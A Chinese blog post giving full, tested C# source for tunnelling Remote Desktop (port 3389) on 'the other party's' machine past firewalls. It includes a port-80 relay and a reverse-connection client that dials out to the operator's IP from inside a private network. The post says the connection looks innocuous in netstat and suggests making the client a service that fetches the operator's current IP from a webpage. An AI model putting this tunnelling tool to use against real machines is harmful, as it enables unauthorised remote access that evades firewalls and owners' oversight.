3389的時(shí)候
例子1：連接a機(jī)器的3389端口連不上，因?yàn)閷Ψ椒阑饓蛘呔W(wǎng)關(guān)做了限制，只能訪問a機(jī)器的個(gè)別端口比如80。
例子2：連接a機(jī)器的幾乎所有端口都連不上（對方乃內(nèi)網(wǎng)或者防火墻網(wǎng)關(guān)做了限制），只能1433上去，但是對方可以連接你的某些端口。
解決
第一種較簡單，只需要程序在對方開80，你連接他80，程序收到數(shù)據(jù)后，發(fā)送到他本機(jī)的3389，同時(shí)從他3389收到數(shù)據(jù)后返回到你。程序就是一個(gè)中轉(zhuǎn)站。
- using System;
- using System.Net.Sockets;
- using System.Threading;
-
- namespace PortTransponder
- {
- class Program
- {
- static void Main(string[] args)
- {
- TcpListener tl = new TcpListener(80);
- tl.Start();
- while (true)
- {
-
- try
- {
- TcpClient tc1 = tl.AcceptTcpClient();
- TcpClient tc2 = new TcpClient("localhost", 3389);
- tc1.SendTimeout = 300000;
- tc1.ReceiveTimeout = 300000;
- tc2.SendTimeout = 300000;
- tc2.ReceiveTimeout = 300000;
- object obj1 = (object)(new TcpClient[] { tc1, tc2 });
- object obj2 = (object)(new TcpClient[] { tc2, tc1 });
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
- }
- catch { }
- }
- }
- public static void transfer(object obj)
- {
- TcpClient tc1 = ((TcpClient[])obj)[0];
- TcpClient tc2 = ((TcpClient[])obj)[1];
- NetworkStream ns1 = tc1.GetStream();
- NetworkStream ns2 = tc2.GetStream();
- while (true)
- {
- try
- {
-
- byte[] bt = new byte[10240];
- int count = ns1.Read(bt, 0, bt.Length);
- ns2.Write(bt, 0, count);
- }
- catch
- {
- ns1.Dispose();
- ns2.Dispose();
- tc1.Close();
- tc2.Close();
- break;
- }
- }
- }
- }
- }
這樣在對方機(jī)器執(zhí)行和，直接mstsc /v:對方ip:80就能終端上去了。
第二種稍微復(fù)雜一點(diǎn)，需要客戶機(jī)和服務(wù)器2個(gè)程序，你在自己機(jī)器上開服務(wù)器端，在對方機(jī)器上執(zhí)行客戶端連接你的服務(wù)器端，一旦連接上你的服務(wù)器端再開個(gè)端口讓終端程序連接，對方機(jī)器上客戶端再開個(gè)端口連接他自己的3389，做2次中轉(zhuǎn)就可以終端上去了。
具體流程：
本機(jī)ip開8080端口，對方機(jī)器連接你的8080端口，比如端口是49908。連接成功后，你的機(jī)器再開一個(gè)比如9833端口，對方機(jī)器再開一個(gè)連接連接他自己的3389，比如端口是49909吧。好，這時(shí)你用你的mstsc連接自己的 localhost:9833，數(shù)據(jù)包就從本機(jī)9833-本機(jī)8080-對方49908-對方49909-對方3389，對方3389的數(shù)據(jù)反著回來就行了。
-
- using System;
- using System.Collections.Generic;
- using System.Net.Sockets;
- using System.Threading;
-
- namespace fanxiangserver
- {
- class Program
- {
- public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();
- public static NetworkStream kongzhins = null;
- static void Main(string[] args)
- {
- ThreadPool.QueueUserWorkItem(new WaitCallback(start1));
- ThreadPool.QueueUserWorkItem(new WaitCallback(start2));
- WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });
- }
- public static void start1(object obj)
- {
- TcpListener tl = new TcpListener(8080);
- tl.Start();
- while (true)
- {
- TcpClient tc = tl.AcceptTcpClient();
- jieshou(tc);
- }
- }
- public static void start2(object obj)
- {
- TcpListener tl = new TcpListener(9833);
- tl.Start();
- while (true)
- {
- TcpClient tc = tl.AcceptTcpClient();
- Random rnd = new Random();
- int biaoji = rnd.Next(1000000000, 2000000000);
- dic.Add(biaoji, tc);
- byte[] bt = BitConverter.GetBytes(biaoji);
- kongzhins.Write(bt, 0, bt.Length);
- }
- }
- public static void jieshou(TcpClient tc)
- {
-
- NetworkStream ns = tc.GetStream();
- byte[] bt = new byte[4];
- int count = ns.Read(bt, 0, bt.Length);
- if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)
- {
- kongzhins = ns;
- }
- else
- {
- int biaoji = BitConverter.ToInt32(bt, 0);
- lianjie(biaoji, tc);
- }
- }
- public static void lianjie(int biaoji, TcpClient tc1)
- {
- TcpClient tc2 = null;
- if (dic.ContainsKey(biaoji))
- {
- dic.TryGetValue(biaoji, out tc2);
- dic.Remove(biaoji);
- tc1.SendTimeout = 300000;
- tc1.ReceiveTimeout = 300000;
- tc2.SendTimeout = 300000;
- tc2.ReceiveTimeout = 300000;
- object obj1 = (object)(new TcpClient[] { tc1, tc2 });
- object obj2 = (object)(new TcpClient[] { tc2, tc1 });
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
- }
- }
- public static void transfer(object obj)
- {
- TcpClient tc1 = ((TcpClient[])obj)[0];
- TcpClient tc2 = ((TcpClient[])obj)[1];
- NetworkStream ns1 = tc1.GetStream();
- NetworkStream ns2 = tc2.GetStream();
- while (true)
- {
- try
- {
-
- byte[] bt = new byte[10240];
- int count = ns1.Read(bt, 0, bt.Length);
- ns2.Write(bt, 0, count);
- }
- catch
- {
- ns1.Dispose();
- ns2.Dispose();
- tc1.Close();
- tc2.Close();
- break;
- }
- }
- }
- }
- }
-
- using System;
- using System.Text;
- using System.Net.Sockets;
- using System.Threading;
-
- namespace fanxiangclient
- {
- class Program
- {
- public static NetworkStream kongzhins = null;
- static void Main(string[] args)
- {
- try
- {
- TcpClient tc = new TcpClient("你的IP", 8080);
- kongzhins = tc.GetStream();
- byte[] bt = Encoding.Default.GetBytes("ok");
- kongzhins.Write(bt, 0, bt.Length);
- jieshou();
- WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });
- }
- catch { }
- }
- public static void jieshou()
- {
- while (true)
- {
- byte[] bt = new byte[4];
- kongzhins.Read(bt, 0, bt.Length);
- TcpClient tc1 = new TcpClient("你的IP", 8080);
- TcpClient tc2 = new TcpClient("localhost", 3389);
- tc1.SendTimeout = 300000;
- tc1.ReceiveTimeout = 300000;
- tc2.SendTimeout = 300000;
- tc2.ReceiveTimeout = 300000;
- tc1.GetStream().Write(bt, 0, bt.Length);
- object obj1 = (object)(new TcpClient[] { tc1, tc2 });
- object obj2 = (object)(new TcpClient[] { tc2, tc1 });
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
- }
- }
- public static void transfer(object obj)
- {
- TcpClient tc1 = ((TcpClient[])obj)[0];
- TcpClient tc2 = ((TcpClient[])obj)[1];
- NetworkStream ns1 = tc1.GetStream();
- NetworkStream ns2 = tc2.GetStream();
- while (true)
- {
- try
- {
- byte[] bt = new byte[10240];
- int count = ns1.Read(bt, 0, bt.Length);
- ns2.Write(bt, 0, count);
- }
- catch
- {
- ns1.Dispose();
- ns2.Dispose();
- tc1.Close();
- tc2.Close();
- break;
- }
- }
- }
- }
- }
好，這樣你連接mstsc /v:localhost:9833，后數(shù)據(jù)就經(jīng)過了好幾轉(zhuǎn)轉(zhuǎn)到了對方的3389上。這樣即使對方是內(nèi)網(wǎng)也可以被終端了，而且好處是對方查看netstat -an看到的是這種東西。
以上程序都是經(jīng)我測試后非常ok的，但是沒有經(jīng)過優(yōu)化，尤其是反向連接的，可以做成個(gè)服務(wù)是吧，或者連接的時(shí)候加個(gè)驗(yàn)證啦什么的，還有我的Ip地址也是變的，可以做成個(gè)服務(wù)，定時(shí)讀取某一網(wǎng)頁上我的新ip，告訴他連還是不連啦，什么的。而且還可以做成個(gè)http代理翻wall啦，總之花樣是很多的。
看到好多人說cpu占用率高什么的，我補(bǔ)充一句，我給出代碼的目的是告訴大家端口轉(zhuǎn)發(fā)的方法和思路，并不是讓你直接粘過去用，如果那樣的話我直接編譯成exe不就完了嗎，授人以魚不如授人以漁對吧，所以大家看明白了怎么回事自己去改和優(yōu)化，像緩沖區(qū)大小是否合適啦，超時(shí)啦，連接判斷啦什么的，這些都是要自己去優(yōu)化的，所以代碼很短嘛，就是為了讓大家看的簡單明了，所以直接用的話效率不會(huì)很高，但這是個(gè)完整骨架，我自己用的就在這段骨架的基礎(chǔ)上優(yōu)化并增加了很多功能，而且cpu占用率內(nèi)存占用都是沒有問題的。
該文章在 2021/2/2 18:48:55 編輯過
400 186 1886
